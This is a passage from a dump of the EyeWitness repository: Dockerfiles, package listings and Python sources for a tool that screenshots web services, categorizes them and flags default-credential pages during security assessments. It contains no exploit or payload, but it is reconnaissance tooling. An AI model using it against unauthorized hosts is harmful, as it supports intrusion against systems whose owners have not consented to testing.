/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Fody.6.1.1/netstandardtask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/.signature.p7s -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2007 James Newton-King 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/Newtonsoft.Json.12.0.3.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/Newtonsoft.Json.12.0.3.nupkg -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/net20/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/net20/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/net35/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/net35/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/net40/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/net40/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/net45/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/net45/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.0/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.0/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.3/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.3/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/netstandard2.0/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/netstandard2.0/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/portable-net40+sl5+win8+wp8+wpa81/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/portable-net40+sl5+win8+wp8+wpa81/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/lib/portable-net45+win8+wp8+wpa81/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/lib/portable-net45+win8+wp8+wpa81/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /CS/packages/Newtonsoft.Json.12.0.3/packageIcon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/packages/Newtonsoft.Json.12.0.3/packageIcon.png -------------------------------------------------------------------------------- /Python/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian 2 | LABEL maintainer Archidote 3 | 4 | RUN apt-get update && \ 5 | echo '\e[32m[*] Installing Debian Dependencies...\e[39m' && \ 6 | apt-get install -y git wget cmake python3 xvfb python3-pip python3-netaddr python3-dev firefox-esr python3-venv 7 | 8 | RUN git clone --depth 1 https://github.com/RedSiege/EyeWitness.git /EyeWitness 9 | 10 | WORKDIR /EyeWitness 11 | 12 | RUN echo -e '\e[32m[*] Setting up the EyeWitness Python env (venv and dependencies)...\e[39m"' && \ 13 | python3 -m venv venv && . venv/bin/activate && \ 14 | python3 -m pip install fuzzywuzzy selenium==4.9.1 python-Levenshtein pyvirtualdisplay netaddr && \ 15 | cd Python/setup && ./setup.sh 16 | 17 | ENTRYPOINT ["/bin/bash", "-c", "source /EyeWitness/venv/bin/activate && python3 /EyeWitness/Python/EyeWitness.py -d /tmp/out --no-prompt $@"] -------------------------------------------------------------------------------- /Python/Dockerfile.el7: -------------------------------------------------------------------------------- 1 | FROM centos:centos8 2 | LABEL maintainer ??? 3 | 4 | ARG USER=eyewitness 5 | ARG UID=1000 6 | ARG GID=1000 7 | 8 | ENV LC_ALL=en_US.UTF-8 \ 9 | LANG=en_US.UTF-8 \ 10 | PYTHONUNBUFFERED=1 \ 11 | PYTHONIOENCODING=UTF-8 \ 12 | PIP_NO_CACHE_DIR=off 13 | 14 | RUN groupadd -g $GID -r $USER && \ 15 | useradd $USER -u $UID -g $USER -m 16 | 17 | COPY setup.sh /tmp/setup.sh 18 | 19 | RUN yum install -y git && \ 20 | git clone --depth 1 https://github.com/RedSiege/EyeWitness.git /home/$USER/EyeWitness && \ 21 | cp /tmp/setup.sh /home/$USER/EyeWitness/Python/setup/setup.sh && \ 22 | yum remove -y git 23 | 24 | WORKDIR /home/$USER/EyeWitness 25 | 26 | RUN cd Python/setup && \ 27 | ./setup.sh && \ 28 | cd .. && \ 29 | chown -R $USER:$USER /home/$USER/EyeWitness && \ 30 | mkdir -p /tmp/EyeWitness && \ 31 | chown $USER:$USER /tmp/EyeWitness 32 | 33 | USER $USER 34 | 35 | ENTRYPOINT ["python3", "Python/EyeWitness.py", "-d", "/tmp/EyeWitness/results", "--no-prompt"] 36 | -------------------------------------------------------------------------------- /Python/Dockerfile.el8: -------------------------------------------------------------------------------- 1 | FROM rockylinux:8 2 | LABEL maintainer ??? 3 | 4 | ARG USER=eyewitness 5 | ARG UID=1000 6 | ARG GID=1000 7 | 8 | ENV LC_ALL=C.UTF-8 \ 9 | LANG=C.UTF-8 \ 10 | PYTHONUNBUFFERED=1 \ 11 | PYTHONIOENCODING=UTF-8 \ 12 | PIP_NO_CACHE_DIR=off 13 | 14 | RUN groupadd -g $GID -r $USER && \ 15 | useradd $USER -u $UID -g $USER -m 16 | 17 | COPY setup.sh /tmp/setup.sh 18 | 19 | RUN dnf install -y git && \ 20 | git clone --depth 1 https://github.com/RedSiege/EyeWitness.git /home/$USER/EyeWitness && \ 21 | cp /tmp/setup.sh /home/$USER/EyeWitness/Python/setup/setup.sh && \ 22 | dnf remove -y git 23 | 24 | WORKDIR /home/$USER/EyeWitness 25 | 26 | RUN cd Python/setup && \ 27 | ./setup.sh && \ 28 | cd .. && \ 29 | chown -R $USER:$USER /home/$USER/EyeWitness && \ 30 | mkdir -p /tmp/EyeWitness && \ 31 | chown $USER:$USER /tmp/EyeWitness 32 | 33 | USER $USER 34 | 35 | ENTRYPOINT ["python3", "Python/EyeWitness.py", "-d", "/tmp/EyeWitness/results", "--no-prompt"] 36 | -------------------------------------------------------------------------------- /Python/EyeWitness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import glob 5 | import os 6 | import re 7 | import shutil 8 | import signal 9 | import sys 10 | import time 11 | import webbrowser 12 | 13 | from modules import db_manager 14 | from modules import objects 15 | from modules import selenium_module 16 | from modules.helpers import class_info 17 | from modules.helpers import create_folders_css 18 | from modules.helpers import default_creds_category 19 | from modules.helpers import do_jitter 20 | from modules.helpers import target_creator 21 | from modules.helpers import title_screen 22 | from modules.helpers import open_file_input 23 | from modules.helpers import resolve_host 24 | from modules.helpers import duplicate_check 25 | from modules.reporting import create_table_head 26 | from modules.reporting import create_web_index_head 27 | from modules.reporting import sort_data_and_write 28 | from multiprocessing import Manager 29 | from multiprocessing import Process 30 | from multiprocessing import current_process 31 | try: 32 | from pyvirtualdisplay import Display 33 | except ImportError: 34 | print('[*] pyvirtualdisplay not found.') 35 | print('[*] Please run the script in the setup directory!') 36 | sys.exit() 37 | 38 | 39 | multi_counter = 0 40 | multi_total = 0 41 | 42 | 43 | def create_cli_parser(): 44 | parser = argparse.ArgumentParser( 45 | add_help=False, description="EyeWitness is a tool used to capture\ 46 | screenshots from a list of URLs") 47 | parser.add_argument('-h', '-?', '--h', '-help', 48 | '--help', action="store_true", help=argparse.SUPPRESS) 49 | 50 | protocols = parser.add_argument_group('Protocols') 51 | protocols.add_argument('--web', default=True, action='store_true', 52 | help='HTTP Screenshot using Selenium') 53 | 54 | input_options = parser.add_argument_group('Input Options') 55 | input_options.add_argument('-f', metavar='Filename', default=None, 56 | help='Line-separated file containing URLs to \ 57 | capture') 58 | input_options.add_argument('-x', metavar='Filename.xml', default=None, 59 | help='Nmap XML or .Nessus file') 60 | input_options.add_argument('--single', metavar='Single URL', default=None, 61 | help='Single URL/Host to capture') 62 | input_options.add_argument('--no-dns', default=False, action='store_true', 63 | help='Skip DNS resolution when connecting to \ 64 | websites') 65 | 66 | timing_options = parser.add_argument_group('Timing Options') 67 | timing_options.add_argument('--timeout', metavar='Timeout', default=7, type=int, 68 | help='Maximum number of seconds to wait while\ 69 | requesting a web page (Default: 7)') 70 | timing_options.add_argument('--jitter', metavar='# of Seconds', default=0, 71 | type=int, help='Randomize URLs and add a random\ 72 | delay between requests') 73 | timing_options.add_argument('--delay', metavar='# of Seconds', default=0, 74 | type=int, help='Delay between the opening of the navigator and taking the screenshot') 75 | timing_options.add_argument('--threads', metavar='# of Threads', default=10, 76 | type=int, help='Number of threads to use while using\ 77 | file based input') 78 | timing_options.add_argument('--max-retries', default=1, metavar='Max retries on \ 79 | a timeout'.replace(' ', ''), type=int, 80 | help='Max retries on timeouts') 81 | 82 | report_options = parser.add_argument_group('Report Output Options') 83 | report_options.add_argument('-d', metavar='Directory Name', 84 | default=None, 85 | help='Directory name for report output') 86 | report_options.add_argument('--results', metavar='Hosts Per Page', 87 | default=25, type=int, help='Number of Hosts per\ 88 | page of report') 89 | report_options.add_argument('--no-prompt', default=False, 90 | action='store_true', 91 | help='Don\'t prompt to open the report') 92 | report_options.add_argument('--no-clear', default=False, 93 | action='store_true', 94 | help='Don\'t clear screen buffer') 95 | 96 | http_options = parser.add_argument_group('Web Options') 97 | http_options.add_argument('--user-agent', metavar='User Agent', 98 | default=None, help='User Agent to use for all\ 99 | requests') 100 | http_options.add_argument('--difference', metavar='Difference Threshold', 101 | default=50, type=int, help='Difference threshold\ 102 | when determining if user agent requests are\ 103 | close \"enough\" (Default: 50)') 104 | http_options.add_argument('--proxy-ip', metavar='127.0.0.1', default=None, 105 | help='IP of web proxy to go through') 106 | http_options.add_argument('--proxy-port', metavar='8080', default=None, 107 | type=int, help='Port of web proxy to go through') 108 | http_options.add_argument('--proxy-type', metavar='socks5', default="http", 109 | help='Proxy type (socks5/http)') 110 | http_options.add_argument('--show-selenium', default=False, 111 | action='store_true', help='Show display for selenium') 112 | http_options.add_argument('--resolve', default=False, 113 | action='store_true', help=("Resolve IP/Hostname" 114 | " for targets")) 115 | http_options.add_argument('--add-http-ports', default=[], 116 | type=lambda s:[str(i) for i in s.split(",")], 117 | help=("Comma-separated additional port(s) to assume " 118 | "are http (e.g. '8018,8028')")) 119 | http_options.add_argument('--add-https-ports', default=[], 120 | type=lambda s:[str(i) for i in s.split(",")], 121 | help=("Comma-separated additional port(s) to assume " 122 | "are https (e.g. '8018,8028')")) 123 | http_options.add_argument('--only-ports', default=[], 124 | type=lambda s:[int(i) for i in s.split(",")], 125 | help=("Comma-separated list of exclusive ports to " 126 | "use (e.g. '80,8080')")) 127 | http_options.add_argument('--prepend-https', default=False, action='store_true', 128 | help='Prepend http:// and https:// to URLs without either') 129 | http_options.add_argument('--selenium-log-path', default='./geckodriver.log', action='store', 130 | help='Selenium geckodriver log path') 131 | http_options.add_argument('--cookies', metavar='key1=value1,key2=value2', default=None, 132 | help='Additional cookies to add to the request') 133 | http_options.add_argument('--width', metavar="1366", default=1366,type=int, 134 | help='Screenshot window image width size. 600-7680 (eg. 1920)') 135 | http_options.add_argument('--height', metavar="768", default=768, type=int, 136 | help='Screenshot window image height size. 400-4320 (eg. 1080)') 137 | 138 | resume_options = parser.add_argument_group('Resume Options') 139 | resume_options.add_argument('--resume', metavar='ew.db', 140 | default=None, help='Path to db file if you want to resume') 141 | 142 | args = parser.parse_args() 143 | args.date = time.strftime('%Y/%m/%d') 144 | args.time = time.strftime('%H:%M:%S') 145 | 146 | if args.h: 147 | parser.print_help() 148 | sys.exit() 149 | 150 | if args.f is None and args.single is None and args.resume is None and args.x is None: 151 | print("[*] Error: You didn't specify a file! I need a file containing " 152 | "URLs!") 153 | parser.print_help() 154 | sys.exit() 155 | 156 | if ((args.f is not None) and not os.path.isfile(args.f)) or ((args.x is not None) and not os.path.isfile(args.x)): 157 | print("[*] Error: You didn't specify the correct path to a file. Try again!\n") 158 | parser.print_help() 159 | sys.exit() 160 | 161 | if args.width < 600 or args.width >7680: 162 | print("\n[*] Error: Specify a width >= 600 and <= 7680, for example 1920.\n") 163 | parser.print_help() 164 | sys.exit() 165 | 166 | if args.height < 400 or args.height >4320: 167 | print("\n[*] Error: Specify a height >= 400 and <= 4320, for example, 1080.\n") 168 | parser.print_help() 169 | sys.exit() 170 | 171 | if args.d is not None: 172 | if args.d.startswith('/') or re.match( 173 | '^[A-Za-z]:\\\\', args.d) is not None: 174 | args.d = args.d.rstrip('/') 175 | args.d = args.d.rstrip('\\') 176 | else: 177 | args.d = os.path.join(os.getcwd(), args.d) 178 | 179 | if not os.access(os.path.dirname(args.d), os.W_OK): 180 | print('[*] Error: Please provide a valid folder name/path') 181 | parser.print_help() 182 | sys.exit() 183 | else: 184 | if not args.no_prompt: 185 | if os.path.isdir(args.d): 186 | overwrite_dir = input(('Directory Exists! Do you want to ' 187 | 'overwrite? [y/n] ')) 188 | overwrite_dir = overwrite_dir.lower().strip() 189 | if overwrite_dir == 'n': 190 | print('Quitting...Restart and provide the proper ' 191 | 'directory to write to!') 192 | sys.exit() 193 | elif overwrite_dir == 'y': 194 | shutil.rmtree(args.d) 195 | pass 196 | else: 197 | print('Quitting since you didn\'t provide ' 198 | 'a valid response...') 199 | sys.exit() 200 | 201 | else: 202 | output_folder = args.date.replace( 203 | '/', '-') + '_' + args.time.replace(':', '') 204 | args.d = os.path.join(os.getcwd(), output_folder) 205 | 206 | args.log_file_path = os.path.join(args.d, 'logfile.log') 207 | 208 | if not any((args.resume, args.web)): 209 | print("[*] Error: You didn't give me an action to perform.") 210 | print("[*] Error: Please use --web!\n") 211 | parser.print_help() 212 | sys.exit() 213 | 214 | if args.resume: 215 | if not os.path.isfile(args.resume): 216 | print(" [*] Error: No valid DB file provided for resume!") 217 | sys.exit() 218 | 219 | if args.proxy_ip is not None and args.proxy_port is None: 220 | print("[*] Error: Please provide a port for the proxy!") 221 | parser.print_help() 222 | sys.exit() 223 | 224 | if args.proxy_port is not None and args.proxy_ip is None: 225 | print("[*] Error: Please provide an IP for the proxy!") 226 | parser.print_help() 227 | sys.exit() 228 | 229 | if args.cookies: 230 | cookies_list = [] 231 | for one_cookie in args.cookies.split(","): 232 | if "=" not in args.cookies: 233 | print("[*] Error: Cookies must be in the form of key1=value1,key2=value2") 234 | sys.exit() 235 | cookies_list.append({ 236 | "name": one_cookie.split("=")[0], 237 | "value": one_cookie.split("=")[1] 238 | }) 239 | args.cookies = cookies_list 240 | args.ua_init = False 241 | return args 242 | 243 | 244 | def single_mode(cli_parsed): 245 | display = None 246 | 247 | def exitsig(*args): 248 | if current_process().name == 'MainProcess': 249 | print('') 250 | print('Quitting...') 251 | os._exit(1) 252 | 253 | signal.signal(signal.SIGINT, exitsig) 254 | 255 | if cli_parsed.web: 256 | create_driver = selenium_module.create_driver 257 | capture_host = selenium_module.capture_host 258 | if not cli_parsed.show_selenium: 259 | display = Display(visible=0, size=(1920, 1080)) 260 | display.start() 261 | 262 | url = cli_parsed.single 263 | http_object = objects.HTTPTableObject() 264 | http_object.remote_system = url 265 | http_object.set_paths( 266 | cli_parsed.d, None) 267 | 268 | web_index_head = create_web_index_head(cli_parsed.date, cli_parsed.time) 269 | 270 | driver = create_driver(cli_parsed) 271 | result, driver = capture_host(cli_parsed, http_object, driver) 272 | result = default_creds_category(result) 273 | if cli_parsed.resolve: 274 | result.resolved = resolve_host(result.remote_system) 275 | driver.quit() 276 | if display is not None: 277 | display.stop() 278 | html = result.create_table_html() 279 | with open(os.path.join(cli_parsed.d, 'report.html'), 'w') as f: 280 | f.write(web_index_head) 281 | f.write(create_table_head()) 282 | f.write(html) 283 | f.write("</table><br>") 284 | 285 | 286 | def worker_thread(cli_parsed, targets, lock, counter, user_agent=None): 287 | manager = db_manager.DB_Manager(cli_parsed.d + '/ew.db') 288 | manager.open_connection() 289 | 290 | if cli_parsed.web: 291 | create_driver = selenium_module.create_driver 292 | capture_host = selenium_module.capture_host 293 | 294 | with lock: 295 | driver = create_driver(cli_parsed, user_agent) 296 | try: 297 | while True: 298 | http_object = targets.get() 299 | if http_object is None: 300 | break 301 | # Try to ensure object values are blank 302 | http_object._category = None 303 | http_object._default_creds = None 304 | http_object._error_state = None 305 | http_object._page_title = None 306 | http_object._ssl_error = False 307 | http_object.category = None 308 | http_object.default_creds = None 309 | http_object.error_state = None 310 | http_object.page_title = None 311 | http_object.resolved = None 312 | http_object.source_code = None 313 | # Fix our directory if its resuming from a different path 314 | if os.path.dirname(cli_parsed.d) != os.path.dirname(http_object.screenshot_path): 315 | http_object.set_paths( 316 | cli_parsed.d, None) 317 | 318 | print('Attempting to screenshot {0}'.format(http_object.remote_system)) 319 | 320 | http_object.resolved = resolve_host(http_object.remote_system) 321 | if user_agent is None: 322 | http_object, driver = capture_host( 323 | cli_parsed, http_object, driver) 324 | if http_object.category is None and http_object.error_state is None: 325 | http_object = default_creds_category(http_object) 326 | manager.update_http_object(http_object) 327 | else: 328 | ua_object, driver = capture_host( 329 | cli_parsed, http_object, driver) 330 | if http_object.category is None and http_object.error_state is None: 331 | ua_object = default_creds_category(ua_object) 332 | manager.update_ua_object(ua_object) 333 | 334 | counter[0].value += 1 335 | if counter[0].value % 15 == 0: 336 | print('\x1b[32m[*] Completed {0} out of {1} services\x1b[0m'.format(counter[0].value, counter[1])) 337 | do_jitter(cli_parsed) 338 | except KeyboardInterrupt: 339 | pass 340 | manager.close() 341 | driver.quit() 342 | 343 | 344 | def multi_mode(cli_parsed): 345 | dbm = db_manager.DB_Manager(cli_parsed.d + '/ew.db') 346 | dbm.open_connection() 347 | if not cli_parsed.resume: 348 | dbm.initialize_db() 349 | dbm.save_options(cli_parsed) 350 | m = Manager() 351 | targets = m.Queue() 352 | lock = m.Lock() 353 | multi_counter = m.Value('i', 0) 354 | display = None 355 | 356 | def exitsig(*args): 357 | dbm.close() 358 | if current_process().name == 'MainProcess': 359 | print('') 360 | print('Resume using ./EyeWitness.py --resume {0}'.format(cli_parsed.d + '/ew.db')) 361 | os._exit(1) 362 | 363 | signal.signal(signal.SIGINT, exitsig) 364 | if cli_parsed.resume: 365 | pass 366 | else: 367 | url_list = target_creator(cli_parsed) 368 | if cli_parsed.web: 369 | for url in url_list: 370 | dbm.create_http_object(url, cli_parsed) 371 | 372 | if cli_parsed.web: 373 | if cli_parsed.web and not cli_parsed.show_selenium: 374 | display = Display(visible=0, size=(1920, 1080)) 375 | display.start() 376 | 377 | multi_total = dbm.get_incomplete_http(targets) 378 | if multi_total > 0: 379 | if cli_parsed.resume: 380 | print('Resuming Web Scan ({0} Hosts Remaining)'.format(str(multi_total))) 381 | else: 382 | print('Starting Web Requests ({0} Hosts)'.format(str(multi_total))) 383 | 384 | if multi_total < cli_parsed.threads: 385 | num_threads = multi_total 386 | else: 387 | num_threads = cli_parsed.threads 388 | for i in range(num_threads): 389 | targets.put(None) 390 | try: 391 | workers = [Process(target=worker_thread, args=( 392 | cli_parsed, targets, lock, (multi_counter, multi_total))) for i in range(num_threads)] 393 | for w in workers: 394 | w.start() 395 | for w in workers: 396 | w.join() 397 | except Exception as e: 398 | print(str(e)) 399 | 400 | if display is not None: 401 | display.stop() 402 | results = dbm.get_complete_http() 403 | dbm.close() 404 | m.shutdown() 405 | sort_data_and_write(cli_parsed, results) 406 | 407 | 408 | def multi_callback(x): 409 | global multi_counter 410 | global multi_total 411 | multi_counter += 1 412 | 413 | if multi_counter % 15 == 0: 414 | print('\x1b[32m[*] Completed {0} out of {1} hosts\x1b[0m'.format(multi_counter, multi_total)) 415 | 416 | 417 | if __name__ == "__main__": 418 | cli_parsed = create_cli_parser() 419 | start_time = time.time() 420 | title_screen(cli_parsed) 421 | 422 | if cli_parsed.resume: 423 | print('[*] Loading Resume Data...') 424 | temp = cli_parsed 425 | dbm = db_manager.DB_Manager(cli_parsed.resume) 426 | dbm.open_connection() 427 | cli_parsed = dbm.get_options() 428 | cli_parsed.d = os.path.dirname(temp.resume) 429 | cli_parsed.resume = temp.resume 430 | if temp.results: 431 | cli_parsed.results = temp.results 432 | dbm.close() 433 | 434 | print('Loaded Resume Data with the following options:') 435 | engines = [] 436 | if cli_parsed.web: 437 | engines.append('Firefox') 438 | print('') 439 | print('Input File: {0}'.format(cli_parsed.f)) 440 | print('Engine(s): {0}'.format(','.join(engines))) 441 | print('Threads: {0}'.format(cli_parsed.threads)) 442 | print('Output Directory: {0}'.format(cli_parsed.d)) 443 | print('Timeout: {0}'.format(cli_parsed.timeout)) 444 | print('') 445 | else: 446 | create_folders_css(cli_parsed) 447 | 448 | if cli_parsed.single: 449 | if cli_parsed.web: 450 | single_mode(cli_parsed) 451 | if not cli_parsed.no_prompt: 452 | open_file = open_file_input(cli_parsed) 453 | if open_file: 454 | files = glob.glob(os.path.join(cli_parsed.d, '*report.html')) 455 | for f in files: 456 | webbrowser.open(f) 457 | class_info() 458 | sys.exit() 459 | class_info() 460 | sys.exit() 461 | 462 | if cli_parsed.f is not None or cli_parsed.x is not None: 463 | multi_mode(cli_parsed) 464 | duplicate_check(cli_parsed) 465 | 466 | print('Finished in {0} seconds'.format(time.time() - start_time)) 467 | 468 | if not cli_parsed.no_prompt: 469 | open_file = open_file_input(cli_parsed) 470 | if open_file: 471 | files = glob.glob(os.path.join(cli_parsed.d, '*report.html')) 472 | for f in files: 473 | webbrowser.open(f) 474 | class_info() 475 | sys.exit() 476 | class_info() 477 | sys.exit() 478 | -------------------------------------------------------------------------------- /Python/MiktoList.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import glob 4 | import os 5 | import sys 6 | import webbrowser 7 | 8 | from modules.helpers import strtobool 9 | from modules.db_manager import DB_Manager 10 | 11 | def open_file_input(cli_parsed): 12 | files = glob.glob(os.path.join(cli_parsed.d, 'report.html')) 13 | if len(files) > 0: 14 | print('Would you like to open the report now? [Y/n]', end=' ') 15 | while True: 16 | try: 17 | response = input().lower() 18 | if response == "": 19 | return True 20 | else: 21 | return strtobool(response) 22 | except ValueError: 23 | print('Please respond with y or n', end=' ') 24 | else: 25 | print('[*] No report files found to open, perhaps no hosts were successful') 26 | return False 27 | 28 | if __name__ == "__main__": 29 | if len(sys.argv) < 2: 30 | print('Create a file containing urls for splash pages and 404s to feed to Mikto\n') 31 | print('[*] Usage: python MiktoList.py <dbpath> <outfile>') 32 | print('DBPath should point to the ew.db file in your EyeWitness output folder') 33 | sys.exit() 34 | db_path = sys.argv[1] 35 | outfile = sys.argv[2] 36 | if not os.path.isfile(db_path): 37 | print('[*] No valid db path provided') 38 | sys.exit() 39 | dbm = DB_Manager(db_path) 40 | dbm.open_connection() 41 | results = dbm.get_mikto_results() 42 | with open(outfile, 'w') as f: 43 | f.writelines([x.remote_system + '\n' for x in results]) 44 | print('Wrote {0} URLs to {1}'.format(len(results), outfile)) 45 | -------------------------------------------------------------------------------- /Python/Recategorize.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import glob 4 | import os 5 | import sys 6 | import webbrowser 7 | 8 | from modules.helpers import strtobool 9 | from modules.db_manager import DB_Manager 10 | from modules.reporting import sort_data_and_write 11 | 12 | def open_file_input(cli_parsed): 13 | files = glob.glob(os.path.join(cli_parsed.d, 'report.html')) 14 | if len(files) > 0: 15 | print('Would you like to open the report now? [Y/n]', end=' ') 16 | while True: 17 | try: 18 | response = input().lower() 19 | if response == "": 20 | return True 21 | else: 22 | return strtobool(response) 23 | except ValueError: 24 | print('Please respond with y or n', end=' ') 25 | else: 26 | print('[*] No report files found to open, perhaps no hosts were successful') 27 | return False 28 | 29 | if __name__ == "__main__": 30 | if len(sys.argv) < 2: 31 | print('Recategorize a previously completed EyeWitness scan to account for updates. This can take a while!\n') 32 | print('[*] Usage: python Recategorize.py <dbpath>') 33 | print('DBPath should point to the ew.db file in your EyeWitness output folder') 34 | sys.exit() 35 | db_path = sys.argv[1] 36 | if not os.path.isfile(db_path): 37 | print('[*] No valid db path provided') 38 | sys.exit() 39 | dbm = DB_Manager(db_path) 40 | dbm.open_connection() 41 | cli_parsed = dbm.get_options() 42 | cli_parsed.d = os.path.dirname(db_path) 43 | cli_parsed.results = 50 44 | files = glob.glob(cli_parsed.d + '/report*.html') 45 | for f in files: 46 | os.remove(f) 47 | results = dbm.recategorize() 48 | print('Writing report') 49 | sort_data_and_write(cli_parsed, results) 50 | newfiles = glob.glob(cli_parsed.d + '/report.html') 51 | if open_file_input(cli_parsed): 52 | for f in newfiles: 53 | webbrowser.open(f) 54 | sys.exit() 55 | -------------------------------------------------------------------------------- /Python/Search.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import glob 4 | import os 5 | import sys 6 | import webbrowser 7 | 8 | from modules.helpers import strtobool 9 | from modules.db_manager import DB_Manager 10 | from modules.reporting import search_report 11 | 12 | 13 | def open_file_input(cli_parsed): 14 | files = glob.glob(os.path.join(cli_parsed.d, 'search.html')) 15 | if len(files) > 0: 16 | print('Would you like to open the report now? [Y/n]', end=' ') 17 | while True: 18 | try: 19 | response = input().lower() 20 | if response == "": 21 | return True 22 | else: 23 | return strtobool(response) 24 | except ValueError: 25 | print("Please respond with y or n", end=' ') 26 | else: 27 | print('[*] No report files found to open, perhaps no hosts were successful') 28 | return False 29 | 30 | 31 | if __name__ == "__main__": 32 | if len(sys.argv) < 3: 33 | print('Search a previously completed EyeWitness scan (HTTP page title/source)\n') 34 | print('[*] Usage: python Search.py <dbpath> <searchterm>') 35 | print('DBPath should point to the ew.db file in your EyeWitness output folder') 36 | sys.exit() 37 | db_path = sys.argv[1] 38 | if not os.path.isfile(db_path): 39 | print('[*] No valid db path provided') 40 | sys.exit() 41 | search_term = sys.argv[2] 42 | dbm = DB_Manager(db_path) 43 | dbm.open_connection() 44 | results = dbm.search_for_term(search_term) 45 | if len(results) == 0: 46 | print('No results found!') 47 | sys.exit() 48 | else: 49 | print('Found {0} Results!'.format(len(results))) 50 | cli_parsed = dbm.get_options() 51 | cli_parsed.results = 25 52 | cli_parsed.d = os.path.dirname(db_path) 53 | oldfiles = glob.glob(os.path.join(cli_parsed.d, "*search*.html")) 54 | for f in oldfiles: 55 | os.remove(f) 56 | search_report(cli_parsed, results, search_term) 57 | newfiles = glob.glob(os.path.join(cli_parsed.d, "search.html")) 58 | if open_file_input(cli_parsed): 59 | for f in newfiles: 60 | 